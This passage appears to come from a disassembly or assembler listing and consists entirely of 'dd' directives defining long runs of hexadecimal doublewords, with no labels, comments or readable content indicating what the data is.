3C874EDBh, 0B9042A3Fh, 0DF7B9E04h, 7939A981h dd 0F35B8404h, 0EAF44B81h, 5EE659DFh, 48CC6882h, 0C08F6CD5h dd 0AD05F99Eh, 0C90C8169h, 76754F17h, 1A70D4E1h, 0BAD4FF1Ch dd 0BA703CAFh, 0BD2C79Fh, 5D5E78B4h, 22A15664h, 0F59EDD2Ah dd 3AED6C59h, 0E5280CBFh, 0E7D1DF6Ah, 96070A98h, 0AE041D20h dd 59CF313Bh, 710A26C0h, 2D01038Dh, 85AC5E1Ch, 5E2B9B5h dd 0ABD2AED6h, 16CDD910h, 3198ECD1h, 0BF8C6564h, 0B80DC0C7h dd 0D700F71Dh, 61A5BD55h, 4AE97E08h, 0BE520173h, 92053947h dd 7F17F5D0h, 5484AFACh, 0C4ACE35Dh, 849492E9h, 8C96ABF2h dd 0C594214Dh, 0C898E986h, 0A9ED0633h, 706FFB7Fh, 3B555D3Ah dd 4FEF3BC5h, 0F9211E29h, 83A08B2Ch, 499502C6h, 122AF075h dd 0E7CD90h, 2A0739A6h, 430D7504h, 0AB1C7Fh, 3CE4054Fh dd 35044F2Ch, 840AFBF9h, 0A32A81EAh, 6DB0000Fh, 4982BF30h dd 0AFC0BEE7h, 0F9E4CC88h, 74ACD794h, 3EAC0713h, 6163BEC0h dd 811859EFh, 0C103FFC6h, 0A3F0B5EEh, 47FFE0Bh, 3480555Fh dd 335DE52Eh, 0E9F1890Bh, 4608ABCBh, 5A43F66Ah, 0AD0A5330h dd 61FE7C19h, 1CBC83FCh, 5BB50501h, 38E949E4h, 98CC112Ah dd 8475E25Fh, 0E691F9E9h, 3730D701h, 0E1A5C5BEh, 0A489C008h dd 37760E11h, 1077A3FEh, 96B0B34Ah, 9A73160Fh, 609EB85Ch dd 2592C9D2h, 3A0B63C6h, 62976FD7h, 0E5DCA89h, 0E90A412Ah dd 622BC99Fh, 21DE2C9Bh, 0A3AD42h, 0CC089568h, 5E5E5652h dd 9CF1BB4h, 57FB2CECh, 4F4307h, 0E94B68D1h, 0BBD6882Dh dd 0AD47D993h, 79516BCh, 0F71FE408h, 0AC674D11h, 4250E51Ah dd 5009280h, 4AF701Fh, 3268553Fh, 0C396BC73h, 9F48411Bh dd 0A4D0E589h, 0B3CC16F2h, 0A58B9F1Ah, 95D3E688h, 968B8DC5h dd 68F7B0A9h, 2D764879h, 18F68AD6h, 2D3D2A7Eh, 0DC3EA0F8h dd 85F276Ch, 8A0207Ch, 0CDB9E916h, 959B14B2h, 0C0766BFAh dd 0D6CE0150h, 72630554h, 4DB7815Eh, 91EA04BBh, 3E0BEAFDh dd 4F7ECA8Eh, 0C141022Ch, 0C07D12E8h, 99302B2Bh, 72D1A5CCh dd 0BE820DB4h, 51F45CAAh, 0C0220811h, 0AAB652EFh, 459FF788h dd 26788862h, 1EF7510Dh, 0F079AC24h, 40370BA1h, 98E0D2E9h dd 302DF5B0h, 26AA5BC3h, 1DE909C9h, 0A0611475h, 25148CF2h dd 0BCF46446h, 0D7A8EE21h, 0E302240h, 86D7F6FEh, 51B45080h dd 0C47BEC80h, 0DC77CC7Ch, 80684ECh, 9EEE9E6h, 6E250534h dd 0B055601Dh, 506D0D0h, 7E276283h, 7D2D3B0Eh, 0A1123217h dd 54CC0006h, 314A13F0h, 0F2001BA8h, 78563D0Bh, 4AA1D121h dd 5ECE2CF1h, 0E9F449B2h, 0AAA2D66Ch, 3DEE6809h, 0E6253F4h dd 31FC0BE1h, 24204988h, 7E560117h, 80596633h, 7AC37568h dd 0F3C8894Fh, 0AE103169h, 0E8E25EE4h, 0B64F09D6h, 609328DCh dd 125A41B0h, 0B60A4A68h, 42D192D6h, 32A56E7Fh, 2B4DB6F3h dd 6BDAE06Ah, 36F96902h, 7BBDE9h, 283CEB80h, 0C5ECCEB8h dd 0DA6A4D7Eh, 783F4F1Dh, 54F88C25h, 28E360F4h, 7576336Eh dd 0FDEF324h, 0BD022216h, 402D292Eh, 9F9F42C5h, 9E291D6Ch dd 0C82D09FAh, 81F551F1h, 94A2859h, 334FB668h, 5A1DD2B2h dd 6D160041h, 0C1404470h, 20E907E0h, 360B8B19h, 5C20138h dd 17D4CE58h, 0FDF756ABh, 348B12ECh, 0E9B375ACh, 48728BF7h dd 0D2A623BFh, 0C614596Dh, 0BC685B81h, 0C4CB6C3Ah, 0F700A8B3h dd 3EAC1D2h, 25E69F90h, 311DCA02h, 60015EF2h, 5F466825h dd 3ED86921h, 0DFD69162h, 13B42F46h, 0DF595038h, 958D194Ah dd 97DD3AE4h, 0A85F3CCAh, 4A03CACDh, 0E07BBF6Eh, 73154CCDh dd 0E4D6330h, 42C20E51h, 1BA7FE0h, 0E9253906h, 5848D9FEh dd 0D04424Eh, 0A00A3362h, 0FC054296h, 9A30E92Eh, 0E9C6B14Eh dd 15177112h, 5E2A9B95h, 0B9094A99h, 4AAF2D4Eh, 1E9C22E3h dd 0A7D94775h, 5C93F871h, 0CD12C1B3h, 63CD614Eh, 0FD3500C3h dd 475E30DEh, 9E2175CCh, 5C01373Bh, 40841C3h, 0AD68FAE5h dd 0B4904AE9h, 4E0FE3ECh, 6E065542h, 6CB23623h, 0B57ED778h dd 57496FEAh, 0B5CCD827h, 57708A79h, 2AAC81CDh, 0A5688030h dd 9A56FE6Eh, 1D0D79DAh, 477EDB61h, 2B0B4E57h, 7D9DD965h dd 0E9EF6C01h, 6325CA62h, 0F10ACD3Eh, 3E526518h, 0FA92EFF3h dd 6C58C831h, 0D8D90B04h, 45B7B2Bh, 146C468Bh, 75AD8AA3h dd 5C6465C5h, 0AF93F2F2h, 4C0A6C05h, 0D66D9E0h, 11E930FFh dd 7A0F636Bh, 2E46B44Dh, 2159515Dh, 5A9DCB7Ah, 0C0EC2049h dd 4B2468B3h, 4E64CC3Bh, 8620AE41h, 0BF74F075h, 4AB79282h dd 28A1A8E3h, 938A41F8h, 0E5FD81DFh, 27F17DAFh, 979F5D8h dd 89365235h, 0E913EA52h, 79AEB3FDh, 273E587Ch, 5017B456h dd 0B95ECA8h, 8DAE54Ah, 949B850h, 0C4907573h, 5195065Ch dd 675F97A9h, 20597BCEh, 0BE9C141h, 987A8D35h, 5B01C6FEh dd 0E93EEE7Ch, 0FB2571AAh, 273F8B6Fh, 0E9ABB855h, 2B70A031h dd 537FBC6Bh, 68419C66h, 9C60E12Bh, 0FE8B73D9h, 24F4944Fh dd 2DF80BA1h, 8F526FE8h, 12408AE1h, 0C359B3CAh, 0C96D67Bh dd 4CA2CBBDh, 0C72038B8h, 374F5676h, 0F2C75D2h, 0B2EABFE5h dd 4C6809F2h, 88551864h dd 3B5173D3h, 0CE2652D9h, 5ADC1078h, 0E302F1FDh, 12F618ABh dd 0E891A0F5h, 275D5080h, 45F9DE29h, 0D679DD67h, 6A974262h dd 0F5E03AF7h, 0E09D7714h, 81F0F537h, 793D9164h, 2A87A15Ah dd 0E90DD2CAh, 0A7DF6E0Ah, 0EC64D35Eh, 0C082E162h, 0A81FA263h dd 9D30C3D5h, 0E36627B8h, 9B95180h, 6BC0550Eh, 944BEA87h dd 600BBF73h, 13DD7008h, 59A7918h, 0AB86FAA6h, 42C6AC24h dd 0B1EDB189h, 0DF7A7C7Ah, 0DA16A2C5h, 6FCBC027h, 32168315h dd 94A2F11Bh, 0C5EAA24Eh, 0BBC8E4BFh, 0BAFE5308h, 2C1DF84Fh dd 4BA6BF7h, 366D68E1h, 0F2298CABh, 87B67F58h, 3E642D17h dd 86950FAh, 338B7C58h, 0F67EF0ABh, 0BEA1275Ch, 8855F399h dd 70ECF8Eh, 7586D1F6h, 10EB850h, 0E9E88812h, 0D27B26C3h dd 4E75599Bh, 73E916F2h, 8553ED0Dh, 0EACCEDF7h, 0BD2E4A68h dd 735E18D2h, 1DA2E1DDh, 0BE0F960Dh, 82097E04h, 8AD1BA06h dd 0BF008D53h, 0E74F36BCh, 6707C8ACh, 60769314h, 951EC2EFh dd 68011A3Bh, 1C34081Ch, 7D8C1414h, 3AFC584Eh, 0DFCE4CBh dd 0ECD329Dh, 54600C69h, 0FB0D05C2h, 0E294468h, 22C95DEDh dd 17C430D5h, 11C6054Eh, 0AABC06E9h, 0DF92639h, 2C5E137Bh dd 0ED64835Ah, 12ABF222h, 0F206AC3Dh, 0A0B1FEDEh, 0EE2F2FD1h dd 6095FD44h, 97695A50h, 0E6AAE291h, 9E295709h, 0F4ED965Dh dd 49524850h, 0ED549F5Dh, 0BB3DC08Ch, 60C61EA6h, 0A03431F5h dd 0F8B7C88Bh, 0FEBBC42h, 5424DEF5h, 0DE00FBFDh, 0B93BD55h dd 88365C46h, 60124B06h, 0DE090C2Ah, 0FC39D15Ch, 5BC5013Ah dd 0B83DC156h, 0ACB98946h, 4F14F56Bh, 3F851BA9h, 23D2983h dd 58C5889Fh, 0C6DC5B66h, 52CDFE01h, 73F46B6h, 3E7DE67Ch dd 0F505CAAEh, 9A96F05Ah, 7A71E910h, 0C7642D01h, 6C2955C4h dd 6BD12DF6h, 0D959C047h, 7689D17h, 0ED2627CDh, 8613C26Ch dd 3E862DFFh, 412F1BA2h, 0E5FFF06h, 5E82E879h, 0E9335687h dd 0D3590B6Bh, 0D7D88282h, 8C07B93Ah, 9504E0B6h, 2C74F028h dd 0EFE488BDh, 4D3602E9h, 5B8007Eh, 1273E435h, 0BB2C46E0h dd 80120663h, 0F5B374ACh, 4BBEC162h, 7B5C06F4h, 674D7DFEh dd 16D33977h, 0CF2C5B2Bh, 6E039861h, 7BC5CB1Ah, 0C57A3B2h dd 6F13CA68h, 63A369ABh, 5351E854h, 9D6532Ch, 7376D131h dd 0ADD27625h, 0F78497Ch, 68C809B7h, 19577978h, 0BF801EFDh dd 0DD59F1BEh, 0F72F3102h, 0B54C705Eh, 52BD2AF0h, 0D440167h dd 48685702h, 0C05E6845h, 7CA35BA0h, 6E212FE9h, 0EBE58279h dd 0BFC429A9h, 3A0752FCh, 0F352CBFEh, 791161F2h, 0F4C0B302h dd 78389B1h, 3A0FEFFEh, 0E94CB735h, 4449A3B0h, 81E58A84h dd 7712945Dh, 0CDFDBB41h, 4B525B02h, 0C00568FBh, 7DDCBE56h dd 31472F82h, 0EED97622h, 3C089CD3h, 0D4D46925h, 5E9BE98Bh dd 725BBF2h, 0CC7FB362h, 0FB292ED9h, 8305CB0Fh, 0FECED4FFh dd 5B29D328h, 0B1CFD4F0h, 0CA2620D8h, 0DC4D6325h, 47260750h dd 0E20CEC5Ch, 4F4C0379h, 5AE91343h, 0D7310B47h, 6DC5FA24h dd 4A1D8AEBh, 0B101FF29h, 0AF43940h, 92DE9042h, 0F216BDD5h dd 870CD1B7h, 505B70A5h, 634CE281h, 0E6ACA05Ah, 92605B70h dd 9C575A5Fh, 0E908CE78h, 0C00FF132h, 281459E8h, 10A52CD8h dd 5702DBF4h, 0E4809BFh, 2FD8E68Eh, 0AFB5055Ch, 0E0EA69BEh dd 0EE202C67h, 0E15EA14Fh, 11EEE12Eh, 7D5DE85Eh, 34FED2F6h dd 5F8A0197h, 8275CB78h, 945DB80Ch, 0F34A7D03h, 0EC96080Dh dd 34C71817h, 0CD02D3C7h, 0B355478h, 2004EFD1h, 0F60116B1h dd 0B3841D90h, 9FDAEEACh, 51E7014Fh, 2022FC2Ah, 0FE603609h dd 758CE531h, 0A0474AB2h, 562C7A96h, 3E000F13h, 0E9F03B96h dd 0F269AACh, 6E6C058h, 0FC8E53Fh, 18141C68h, 3BE319Bh dd 4F1166F2h, 4A0C045Ch, 0EF6DD409h, 0FD9C8691h, 0DDC32901h dd 5DB596CEh, 78EDB006h, 4C1CFA65h, 0A2D3E09Dh, 0E10A103Eh dd 6C4FB900h, 41494BC1h, 0C69F40E5h, 1F0190DBh, 5659CE29h dd 78605E5Dh, 0B7E81F72h, 0D0B2C32h, 0D4428A7Dh, 8DCA64D3h dd 0F702DCD0h, 0F508CE3Fh, 1FFED596h, 2F828D62h, 0F58000CAh dd 0E84A30A3h, 0A154E13Ch, 0C268E6C0h, 0E065099Eh, 526D1A77h dd 29C77E3Ah, 12806842h, 5961C2CFh, 894E9B7Bh, 0E1665E34h dd 3B636850h, 0F6FA2F2Dh, 68D4C00Ah, 60C03641h, 4B8D7579h dd 7EE91255h, 9EF391D9h, 2062D954h, 33122546h, 0EFA16143h dd 0BD5F060h, 2D3E3BF2h, 0F1B07EF2h, 0E476E91Bh, 6B69B143h dd 2859287Bh, 872D779Ah, 495271D1h, 994B6AF9h, 0A196D2DBh dd 3B7ECD5Dh, 0E985F5F2h, 1A24756h, 0FDA874CFh, 44F10239h dd 407D1A28h, 379AC91Ch, 0D0E6337Fh, 4CD163FCh, 0D9B8014Bh dd 0B6D23F0h, 2B50635Fh, 3A925108h, 775BEED2h, 11F603C0h dd 579FA609h, 58365E21h, 0C09E8C1h, 0D9DADEE9h, 94183CD3h dd 0DDBF1091h, 3A1D6D13h, 2F1E1B1Ch, 0A7E90CFCh, 0E4CACDD1h dd 55B12E65h, 0A42D0B3Dh, 30F2233Bh, 2862F256h, 0F58802EDh dd 0A4E38F9h, 0DD49C3E8h, 0AB81CE16h, 54D06AFCh, 162094F6h dd 0E356581Ch, 745E259Bh, 631FC3D5h, 0F8EBAF05h, 72C1947Bh dd 8473B31Ah, 4CA26F28h, 0EA282174h, 0A3A89707h, 209C2FE8h dd 0FC25D6A7h, 0A75C629Ah, 84720176h, 3AE2C009h, 3B5C5027h dd 95595850h, 189E847h, 3930D5F1h, 7BBB5293h, 14F09708h dd 0A2A13F5Fh, 611EA170h, 157D7340h, 5486A06Eh, 0CC7C6231h dd 0F520E747h, 9DC116FDh, 3013DB70h, 0AF0BBC60h, 6C5BE20Ch dd 8E82BDFFh, 77097BD9h, 0A10D1825h, 83D07F46h, 0EC6B07CBh dd 0D1E09D29h, 0C2258CB2h, 8E4C6158h, 0F9A0932Ch, 1E5BFD53h dd 2C1800BDh, 0EB282662h, 837F9498h, 76BBC9Eh, 56FB27BFh dd 66873A55h, 4C159068h, 4270B2F7h, 0EFDD34Eh, 0A0D792F2h dd 47BFF68Ch, 460E3E38h, 0AF03A517h, 0EAF30629h, 0BDD8C9D8h dd 0BC4A3E3Dh, 0C84E384Fh, 419474D4h, 0E962C521h, 5283F023h dd 94487F58h, 12952F10h, 5A41FA29h, 5F2B3711h, 0EE172D21h dd 0B272F307h, 0F2FA6CBBh, 0ACA64B2Bh, 8B21D4A1h, 0FC31F5EFh dd 525664CFh, 34BA17ECh, 307BF1Eh, 620CD68h, 0CD04399Dh dd 6634820Eh, 7FAD0416h, 69680DBEh, 0C389C2A5h, 72AFDD00h dd 58C47A9Eh, 3DBF120Eh, 95D4410Dh, 8FEE0480h, 7433208Fh dd 3D955BE9h, 3554FD41h, 29A04C3Ch, 0A92FF57Ch, 68C190F6h dd 667E5F44h, 0D641829Fh, 906B720h, 593E621Ch, 82989B78h dd 6ACFEEB7h, 1C993856h, 0C20562B1h, 4AD7E4EEh, 1CAB45D5h dd 40684449h, 33B229h, 2878BB53h, 4AE97052h, 2DD08055h dd 7E3D68BEh, 65411A33h, 697CD954h, 0F81D805Dh, 5B5BC825h dd 2A3BE145h, 0CEED4AB1h, 968FA32Bh, 7E3319AEh, 0A9808358h dd 0E275745Ah, 0CE01DFDBh, 7135D112h, 57F81191h, 582B3754h dd 0C67E27C2h, 54360950h, 0A7562EA8h, 853F2D01h, 133A02EAh dd 0C070A8C1h, 1368E0D3h, 65BCBE23h, 0B41B873h, 85C4E580h dd 0AA84B377h, 0EE01D856h, 19FA2B40h, 0C045856Ah, 322F4A7Eh dd 7C815345h, 16E70D06h, 19D32012h, 5E0EA994h, 0EB80B229h dd 61483681h, 66B5414h, 2B3170h, 300F2DD3h, 62501225h dd 5B07056Eh, 0E26B79B1h, 43A3C8C3h, 0AD025FE3h, 31FBA8EAh dd 0FFC05D07h, 0E92DFD89h, 0DB09A0h, 3F5773EBh, 975DEC06h dd 8D930AE5h, 9A6B6AA1h, 0AD4310E8h, 468FAC4Bh, 77E14BB0h dd 9934AD78h, 0DFF6A995h dd 2416057h, 4A5EF221h, 0F739606Bh, 5A288712h, 300AA40h dd 5B94EB2Dh, 0B153E9FBh, 0BC5F8878h, 0F76CE025h, 0BF837BD9h dd 7F355D01h, 30F3FD3Fh, 387D6296h, 4C4B0B49h, 0EC80120Ah dd 28A25EF8h, 33B05021h, 0B251872Ah, 0D051A93Eh, 88BAFE14h dd 0D0F78329h, 996C231h, 0FB415690h, 0F705A02Eh, 0B327DA7Ah dd 29B5273h, 6149931Ah, 21F9E829h, 0B00752A5h, 152D27FEh dd 71B2E069h, 1D8320C1h, 0AC3CA341h, 8AC0FB2Dh, 5127DABEh dd 0FA9D789Eh, 7EE2EB18h, 0F7E043Bh, 48FDF834h, 0D2C14FFEh dd 52079360h, 0C6D75EC6h, 95F7FCA0h, 4BE30B20h, 3D48665Dh dd 4A2F7DD0h, 981CD99Dh, 628486DAh, 8CC531C6h, 0D617588Eh dd 0D919C404h, 0B194EF3Bh, 91C081Ah, 0F9F8214h, 22CB0974h dd 6801B7F2h, 0A66E241Dh, 4E5E52D2h, 13E62750h, 34EA18D4h dd 99900EFh, 0C105B976h, 16A5EB58h, 4C64FF96h, 0B493F7ECh dd 3B0FC688h, 65587A09h, 0B354C836h, 3C2F51EEh, 0ABB902C9h dd 77126472h, 5CE1E660h, 19C27818h, 3E5D960Ch, 0C9021A9Dh dd 23984736h, 5F64F78Bh, 0F5E9CD0Bh, 0F0982190h, 2C3A0504h dd 0CAAA2E85h, 5DF68F03h, 0C4340C5Ch, 7282565Bh, 1857C666h dd 416E4968h, 55827B6Fh, 0FCC9A74Bh, 0EC8A6B84h, 4C718C5h dd 1D9F83Dh, 5EB4F381h, 6C870EC8h, 0D309FCCBh, 738AAB8h dd 0DAA87AE9h, 1A056B08h, 6C81591Ch, 30ED8DEFh, 0B45EEAB1h dd 0FC876274h, 781953F0h, 0DC9B20E9h, 0A3D3BD4Ah, 45494A01h dd 0BCF12719h, 0BA1FC45Ch, 7C73CAEFh, 7AB0F94Ah, 0E8B49566h dd 0E90BED42h, 7171883Bh, 3EC96806h, 0D2032D1Bh, 1D7D58A2h dd 72A24E55h, 4BCDB18Fh, 0FC089AD4h, 81570C65h, 7E124D30h dd 10BB28D5h, 0E90A07ECh, 0AF3EAA13h, 5BFAFA44h, 0B789784Eh dd 0D892D201h, 313ABD14h, 0E8016774h, 5C301639h, 0C32AB2DEh dd 0F5753C76h, 56C0FD13h, 4E21D9F0h, 5737D2F9h, 0C047A9A4h dd 4A1B481Ah, 7F1F874Eh, 4AAF9ED5h, 27BA680h, 0DB7650CCh dd 0E1101291h, 3B02FF3Fh, 0DAF265E9h, 2C021E20h, 0CCB98A19h dd 0AC4D449Eh, 0B3AC5F80h, 7EC1CAB6h, 1312765Dh, 5CC8E330h dd 17504965h, 0EDEF1D6Fh, 697CC219h, 0B5E1234Eh, 0CBD0082h dd 0E9FA5068h, 3D200AE5h, 18053F6h, 8ABCA809h, 0D9CB6E29h dd 0EDEF4B76h, 0B16581Fh, 2FB5CDE9h, 8708AB2Ah, 1215F13Bh dd 0D3103E81h, 5C8B350h, 515D70FAh, 49058A3Dh, 0FF59B592h dd 0ABDFE89Ah, 0BC3CF611h, 0D6E9F285h, 0AB2CFE19h, 2143172Dh dd 82C90592h, 2C40FB67h, 3DBC0EBBh, 4ED7F8CFh, 13EF41B2h dd 3A464D65h, 4C5946E4h, 393E3A58h, 0E9474803h, 2F0777D8h dd 0F415FCEBh, 0D9BF57D0h, 6801236h, 2B55A529h, 6BE6B044h dd 56B10E1Eh, 81D2C80Ch, 0CFBBE848h, 5D722554h, 6352ABBh dd 72685158h, 0BBE925F1h, 3A7579E2h, 3D8955AFh, 7EAF165Bh dd 13347058h, 0E911D31Ch, 0B9B3C2D2h, 84B01C22h, 4A74EC1Ch dd 8FA0189h, 0FF0F08B7h, 0B6641832h, 78B8250Ch, 0C7490359h dd 616E8909h, 42788FDAh, 714B875Fh, 8466FCC7h, 0BCFA0959h dd 0E260A7E8h, 5CBC4CB9h, 69204112h, 85294Ah, 0F00321BFh dd 41572AAh, 464E3E50h, 8412C0FFh, 531CB3B0h, 0FD53E931h dd 27EB4FC5h, 8349BE01h, 0EF816EF1h, 4D6C1ACDh, 0FD5F8342h dd 0B454C7ECh, 0B7270FE1h, 894E7EC0h, 0A574B983h, 0D588EA5Bh dd 5EEB0226h, 211B8EE6h, 0C00C3E22h, 0B79C8D10h, 37E96160h dd 8E5DD35Ah, 0F6230A93h, 5FDEC8E3h, 2ADC132Dh, 689500A1h dd 0B171CD6h, 0B9A45D5Ah, 41C860FAh, 0F18006B1h, 0C101BA73h dd 0B353667Eh, 0C32F3090h, 0FFA4F67Dh, 0F9E79E88h, 42B5D31h dd 928162Ah, 0D0DAC9D1h, 3F8BD3DFh, 0C02AF80Fh, 8C87BFEBh dd 3A453FD1h, 0A0A13BDh, 98B7F271h, 0AEB77E5Ch, 83C3062h dd 43F20CE3h, 72EBE4BDh, 0FE37259Dh, 3B606862h, 2939DF34h dd 626F2D52h, 2E62572Ah, 1BCE561h, 99DDCA01h, 0DF4FF22Ah dd 7B93BC0Bh, 5FEE091Bh, 0C842C5FBh, 0F7E65DB1h, 4F5D6817h dd 8A8E7FADh, 1E1324DBh, 1DBD283Ah, 5D805089h, 735D510Fh dd 56D70BDh, 0A2AEF505h, 1E2DAE8Ch, 4B16CA3Ah, 4B63DAA4h dd 50F9D80Dh, 7C1D4498h, 76AFC837h, 28CF0134h, 0D844D027h dd 0A1FB4E7h, 23F3D87h, 0D943BB92h, 0E2BB8289h, 0F454E461h dd 0FD8880C8h, 0E5305B00h, 0CFC58058h, 3AF87004h, 8F692CE8h dd 0AB9F04h, 5AD1285Bh, 0A3E4F480h, 0DA55F1EAh, 0F7862B41h dd 0DE488F03h, 7A967BE9h, 0AE0FAABFh, 4B30D39Dh, 6C51BD7Eh dd 5B92F76Ah, 0D97ED599h, 0E555F24Eh, 885CADA4h, 0CB443CC4h dd 5FA1692h, 5E4D8F07h, 3A011141h, 0D26FBC5Dh, 0C0783B85h dd 4BFA95BFh, 1F182D05h, 0B82354Eh, 5F078705h, 0DE18126Bh dd 0BB38880Ch, 0E45D540Ah, 4F6A2102h, 1501FD66h, 2101C42Ah dd 5443CE0Eh, 0ED68A100h, 5B35AB67h, 6D86589h, 18FAC7C1h dd 587F9A3Ah, 5479D40Ah, 2A72BBFh, 0DADE692Ch, 8186833Fh dd 0A840611Ah, 4B9CEAA1h, 4A9CAC54h, 0AC2107E1h, 0E66DE57Bh dd 8142717Ch, 0E947F4D3h, 0F028E54h, 61A5F380h, 628A065h dd 7C94FD59h, 466CC302h, 9A400564h, 4A791C43h, 675FE918h dd 9C46C3FDh, 0E2A79634h, 1B2F7852h, 569DA2E8h, 0E41DD85Ah dd 0FA06C2F2h, 3849E5E9h, 300A31C0h, 0FD91C2BEh, 0D4D2B9ECh dd 0D6100E06h, 608A5B57h, 0B6CA8E14h, 0C75E7D81h, 662A7033h dd 57DD9813h, 783BEA01h, 0E52A2729h, 0A80804EBh, 92C520FFh dd 0FEC6BF04h, 815FA6FCh, 0F6F39690h, 98DEE8D3h, 0C7D2092h dd 2C3F0D07h, 76AE0FD9h, 14AA2C56h, 2218C5B9h, 0CCEE9D79h dd 853EB902h, 0E85EF331h, 4E5D2D5Eh, 548A84Eh, 0D783DC29h dd 0E3E97191h, 0C1E49BCAh, 0D46BAFF4h, 26B81DA2h, 0A20293A1h dd 0EBE9C45Ah, 5B594791h, 33ECF481h, 0DB015C51h, 1608FAC7h dd 0D70EAC58h, 0E9A0C2FCh, 0FEA96384h, 0F5626A8Bh, 0A0D8FA57h dd 312A2EB4h, 4BE3CA8h, 8C617E5Ah, 0D87A5B6Fh, 0D8F65074h dd 0C157D12h, 0B04AB8B3h, 337FE99Bh, 485479C6h, 0A4BC2DD7h dd 219FA6F1h, 0D0B95CE0h, 0BC754513h, 0F4E347Eh, 0EBC412AAh dd 2AE90C78h, 7D47A13h, 0DA62CDE6h, 96F66327h, 6E4192B1h dd 5C9023A0h, 0B2A7EDA8h, 7BF678CCh, 963CD44Bh, 0BCE7C5ABh dd 0EFE95002h, 79EA5DF2h, 10862948h, 8912F403h, 0C6A121DFh dd 0CB8981E2h, 3B3E78ACh, 427ECF40h, 0E9DD16B5h, 0B4E8402Dh dd 58E13043h, 665CD073h, 687B273Dh, 3E20B06Ch, 5809C108h dd 84558850h, 16128508h, 512504A0h, 105414C5h, 5A70672Eh dd 5EC8CAE7h, 127B79F8h, 5D0BE920h, 0A50D5415h, 815E0171h dd 4D6703F2h, 5B1AF07Fh, 9DB618D7h, 5F64BA96h, 5ABD8BAAh dd 0E8B726E8h, 4CA6AC32h, 55FC802Dh, 7245B757h, 708798BEh dd 0C9CBA2B1h, 9246CA99h, 2EED77F4h, 5100CBCAh, 0A9767CB9h dd 0E11CC163h, 0FFC08107h, 0F77FDE56h, 0D44971D1h, 0FE053808h dd 0D0549A15h, 70BA5294h, 73024D13h, 0E91264ACh, 0AB8952BBh dd 4131353Dh, 0B538B26Eh, 288F51A9h, 60B207D0h, 2795D108h dd 243B7F0h, 53A7E381h, 60DF38A4h, 48D14B3Ch, 301D29EBh dd 2977C9F3h, 505A2B04h, 15C1A4BAh, 5F03C161h, 5CC152BBh dd 0CAC9806Eh, 54591120h, 8E224C1h, 33040504h, 0F1F8F1h dd 6856535Ah, 55D7BEBh, 0E9465E58h, 5F61B84Dh, 2C477FD7h dd 0B1B33C3h, 0E914360Ch dd 0EF2DEAF0h, 0DB01703Bh, 8DB07783h, 0AD51239Fh, 7EF52AB3h dd 81956930h, 0E450DD5Dh, 0D34F0DB8h, 4B7BF5A2h, 9F95A129h dd 525FD80Ah, 274DBAC6h, 411DD526h, 953AAB94h, 5520EDCCh dd 301CE1FAh, 0D01F58C2h, 1B85F80Bh, 786EC2A3h, 0C8B100FBh dd 806CB652h, 282E46C1h, 0AC3AD1F1h, 0B408F55Ah, 6A923CA3h dd 47EBA554h, 3EE73031h, 0D2981421h, 12E7C12h, 720F0641h dd 82E22CA1h, 5758BDD9h, 4BCC9D18h, 0F110CD2Eh, 0BEFF002Dh dd 0FDF9211Dh, 771E016Eh, 0C64B449Eh, 75A2EDC0h, 97EC116h dd 437E471Ah, 56B59AB9h, 30DF6B01h, 80A25AC5h, 0FBBDC801h dd 7BA70B83h, 0A7BBD6FCh, 598D6949h, 96F7F69Eh, 31F5421Fh dd 0DEE458C1h, 0ACC40FFAh, 23ADF328h, 0C9F9BF55h, 0E265126Ah dd 368C232h, 6217DE3Dh, 3A5D53C6h, 0C2CEF5FBh, 2F5DFE5Fh dd 8D14FCAFh, 0E885F168h, 0E1C7B4FBh, 251F03CBh, 639CF975h dd 0AF7445C1h, 256C6F10h, 696FA07Ch, 0BB1178EEh, 0E4A7BEA9h dd 770BC85Ah, 80111C66h, 352FBFEEh, 16E92D41h, 0D6797FC2h dd 912EC3E8h, 0D8215B61h, 0EA55652Bh, 0EB61B3C9h, 0F8B96110h dd 6ABC0920h, 9AF5C1E9h, 0FE9457E8h, 7645E913h, 0E03054C9h dd 0EC161431h, 0D32CB537h, 0EFC81FA5h, 6745F960h, 666557BCh dd 0EF104EA9h, 38BF0052h, 6834C04Eh, 671262EEh, 6DFE7A22h dd 55C28362h, 0DF0B6845h, 88475E5Bh, 6D28EB72h, 3A5DEE16h dd 0DC090A1Fh, 80187DF0h, 1673F956h, 604EAAFAh, 0DCFBEB44h dd 1D210ADh, 7375D52Eh, 74753002h, 5B8E6F10h, 0B04C281h dd 0BBF6C80h, 61118BEh, 8046D5ADh, 60B7E908h, 2FB9699Ah dd 1498A81Eh, 99C7B035h, 0D324C3F8h, 9F7F6A0Dh, 6C2DE6B6h dd 73168D3Eh, 47EA0317h, 0D236E14Eh, 8C876BBBh, 0CD016B22h dd 895BD929h, 8956BF30h, 0EED90482h, 478F5302h, 983F08DFh dd 80980120h, 745B687Ch, 2CB9E5A8h, 9B69E1D4h, 42C00401h dd 0ABD3CAF1h, 0E814046Bh, 802DB600h, 0EEE69ACEh, 97067B62h dd 304DF88h, 6EEDE17Eh, 93F44C9Dh, 70209FADh, 0C28003EAh dd 0E21DE776h, 0F6938602h, 0B9BF4604h, 78522009h, 9751B120h dd 537B4160h, 1E05AD80h, 1C264A75h, 446FC42Dh, 4162AC09h dd 832F4307h, 2F6A4799h, 6FC4324h, 0F832125Eh, 0FC73B2D4h dd 285D201Dh, 4446D25Ch, 0A49A336Bh, 35FC2B54h, 15604D0Eh dd 3080BC29h, 0AA054327h, 0EA1EF426h, 0BFD7044Ch, 0C9A1E99Eh dd 65CE3051h, 87CAB35Ch, 7003FEEAh, 900C076Ch, 36143B01h dd 883A6F2h, 5E140C40h, 0B466E912h, 0C1F31393h, 0BD0263A5h dd 29B548D7h, 0E5F4FFEFh, 7BFB9D0Bh, 205ACB8h, 1FC13F88h dd 7990ADBAh, 162D3780h, 2E2DD054h, 3B534B43h, 24C0A609h dd 86AE7682h, 561FAB0Ah, 0DD86421Bh, 0C4FEF640h, 0E7CAEC80h dd 4C205CD4h, 281035E3h, 0C8290BE4h, 1AA97F2Dh, 9D001D93h dd 26114F05h, 0B215E90Ch, 4ABF00E8h, 29236C67h, 70FA5FF8h dd 0F781C660h, 60124B16h, 0E8011D0Dh, 0CDEE0F05h, 6B16948h dd 556D281Ah, 6E596B76h, 4C26B25Dh, 0BF4A259Dh, 0D1095C9Ah dd 0E1976A3Ch, 6800BADCh, 0D82546D3h, 3E68586Ch, 0F51345FCh dd 78ECE489h, 16D0320Eh, 0B280FE47h, 0F74CED20h, 0C712C0DFh dd 0A06157ADh, 0E9FB3104h, 4AC8B2D1h, 831A1FEAh, 